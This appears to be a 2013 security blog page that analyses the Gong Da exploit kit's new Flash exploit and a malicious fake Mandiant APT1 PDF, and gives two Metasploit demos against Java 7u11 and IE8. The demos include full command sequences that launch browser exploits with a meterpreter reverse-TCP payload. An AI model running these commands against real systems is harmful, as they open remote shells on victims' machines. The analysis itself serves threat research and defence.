Gong Da / Gondad Exploit Pack Add Flash CVE-2013-0634 Support

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If you are working in computer security and still don’t have heard about the latest Adobe Flash 0days, aka CVE-2013-0633 and CVE-2013-0634, then you should change of job ! These vulnerabilities were found exploited in targeted attacks through spear phishing email messages targeting several industries including the aerospace one.

One of the e-email attached Word document was using the 2013 IEEE Aerospace Conference schedule, and another reported sample was related to online payroll system of ADP US company, to exploit CVE-2013-0633. I wrote a complete blog post regarding this campaign 2 weeks ago.

Adobe fixed the vulnerabilities in APSB13-04 the 7 February, but the vulnerabilities were not found massively exploited in Exploit Kits. Also there was a confusion,  by anti-virus vendors and security researchers, regarding CVE-2013-0633 and CVE-2013-0634 detection. But as mentioned in Adobe APSB13-04 CVE-2013-0633 was only exploited by been embedded in Word documents and CVE-2013-0634 was exploited through HTML web pages and by been embedded in Word documents.

So as nobody as seen CVE-2013-0633 working outside a Word document, I will suppose that the vulnerability I discovered exploited in Gong Da exploit kit is potentially a fork of CVE-2013-0633 or could be CVE-2013-0634. Colleagues, you are welcome for comments 🙂

Here is the new code in Gong Da exploit kit.

Capture d’écran 2013-02-25 à 23.29.30

If you take a look at the ActionScript of “myrF03.swf” (506fe8f82ea151959c5160bc40da25b5) you will see some similarities with CVE-2013-0633, like the “ByteArrayAsset” mentioned by MalwareMustDie, or the well-known “LadyBoyle” function.

Capture d’écran 2013-02-26 à 00.10.49

Capture d’écran 2013-02-26 à 00.11.03

This new version was discovered on “hxxp://www.jhtyhtrsgr.com/yymex/index.html” a web site how is actually still online.

Capture d’écran 2013-02-25 à 23.29.04

“jhtyhtrsgr.com” is hosted on 69.197.61.29, in US and this domain name was created the 22 Feb 2013 with registration informations located in China and the following contact “jing yan ([email protected]) – GuangMing yanjing“.

The “index.html” file containing JavaScript code obfuscated by “JSXX VIP JS Obfuscator“, but traditional traces if this obfuscator are no more available.

After de-obfuscation of the “index.html” file you can see that Gong Da Pack has involve to the following diagram.

Gong Da EK 1.4 - 2

Here under some information s regarding the different files:

  • vQSopE2.jpg (aka CVE-2011-3544) : 10/46 on VirusTotal.com
  • ulxzBc7.jpg (aka CVE-2012-0507) : 11/45 on VirusTotal.com
  • MQnA3.jpg (aka CVE-2012-1723) : 18/46 on VirusTotal.com
  • eATBNfg1.jpg (aka CVE-2012-4681) : 29/46 on VirusTotal.com
  • tkPfaMz7.jpg (aka CVE-2012-5076) : 14/46 on VirusTotal.com
  • iOiezo6.jpg (aka CVE-2013-0422): 19/46 on VirusTotal.com
  • YPVTz8.html (aka CVE-2012-1889): 14/46 on VirusTotal.com
  • vQSopE2.html (aka CVE-2012-1889): 12/46 on VirusTotal.com
  • myrFO3.swf (aka a fork of CVE-2013-0633 CVE-2013-0634): 8/46 on VirusTotal.com

Here under a demonstration video of CVE-2013-0633 CVE-2013-0634 without been embeded in a Word document.

Updates:

After investigation from @unixfreaxjp, it seem that the exploited vulnerability is CVE-2013-0634 and not CVE-2013-0633.

CVE-2013-0431 Java Applet JMX Remote Code Execution Metasploit Demo

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to the vendor by Security Explorations the 2013-01-18
Vulnerability patched by the vendor the 2013-02-01
Vulnerability discovered exploited in the wild by kafeine and EKwatcher the 2013-02-18
Metasploit PoC provided the 2013-02-25

PoC provided by :

Unknown
Adam Gowdiak
SecurityObscurity
juan vazquez

Reference(s) :

CVE-2013-0431
OSVDB-89613
BID-57726
Malware don’t need Coffee
Security Explorations
Security Obscurity

Affected version(s) :

Java SE 7U11 and previous

Tested on Windows 7 Integral SP1 with :

Java SE 7U11

Description :

This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in February of 2013. Additionally, this module bypasses default security settings introduced in Java 7 Update 10 to run unsigned applet without displaying any warning to the user.

Commands :

use exploit/multi/browser/java_jre17_jmxbean_2
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

getuid
sysinfo

MS13-009 Microsoft Internet Explorer SLayoutRun UAF Metasploit Demo

Exploits, Metasploit, , ,

Timeline :

Vulnerability discovered and reported to vendor by Scott Bell
Coordinated public release of the vulnerability the 2013-02-12
Metasploit PoC provided the 2013-02-21

PoC provided by :

Scott Bell

Reference(s) :

CVE-2013-0025
OSVDB-90122
BID-57830
MS13-009

Affected version(s) :

Internet Explorer 8

Tested on Windows XP Pro SP3 with :

Internet Explorer 8

Description :

This module exploits a use-after-free vulnerability in Microsoft Internet Explorer where a CParaElement node is released but a reference is still kept in CDoc. This memory is reused when a CDoc relayout is performed.

Commands :

use exploit/windows/browser/ms13_009_ie_slayoutrun_uaf
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

getuid
sysinfo

Exploitation Demo of Fake Mandiant APT1 Report PDF

Exploits, , , , , , , ,

As mentioned by Symantec & Seculert, a spear phishing campaign has involved a fake Mandiant APT1 PDF report, a report published by Mandiant earlier this week (APT1: Exposing One of China’s Cyber Espionage Units). This fake PDF was used in targeted attacks against Japanese entities and exploiting code for Adobe Acrobat and Reader Remote Code Execution Vulnerability (CVE-2013-0641).

Despite the analysis of Symantec, I can confirm you that the PDF is dropping malware onto the computer.

PDF file name is “Mandiant.pdf” with 2a42bf17393c3caaa663a6d1dade9c93 hash (23 / 46 on VirusTotal). Once opened an error message is displayed.

pdf-error-message

After ignoring this error message the vulnerability is exploited and drop “AdobeARM.exe” (41915b34fc50ffdd2a6a0969e3f55ff1) in “C:\Documents and Settings\<USER>\Local Settings\Temp” Windows folder. Chinese simplified ressource language is used for this executable.

AdobeARM-properties

“AdobeARM.exe” is connecting to domain name “www.shounkaku.co.jp“, a legit website, and to folder “/space/fsjd-ge3234c4d61033.gif“. The file is actually no more existing.

Interesting strings in “AdobeARM.exe” are “Hello from MFC!” (Military Force of China ?).

AdobeARM-strings

Regarding the PDF, the embedded JavaScript seem to be the same as in the original version of 0day (sHOGG, oTHERWISE, and others functions and variables names). So it seem that some guys have successfully weaponize the original version of 0day.

pdf-shogg

Here under a demonstration video of the exploitation.